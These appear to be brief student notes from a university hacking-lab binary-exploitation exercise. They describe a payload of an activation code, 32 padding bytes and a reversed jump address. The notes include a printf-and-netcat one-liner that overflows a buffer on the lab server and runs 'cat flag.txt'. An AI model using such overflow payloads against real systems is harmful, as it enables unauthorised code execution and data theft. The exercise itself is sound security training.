unit activation code
32x spacer for array
then jump address (reverse order)

printf 'p90xiy6HFLfLKSyxptNlpYr1IHGlZvMS\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x36\x12\x40\00\00\00\00\00\ncat flag.txt\n' | nc binexp.stud12.hacklab.ias.tu-bs.de 4001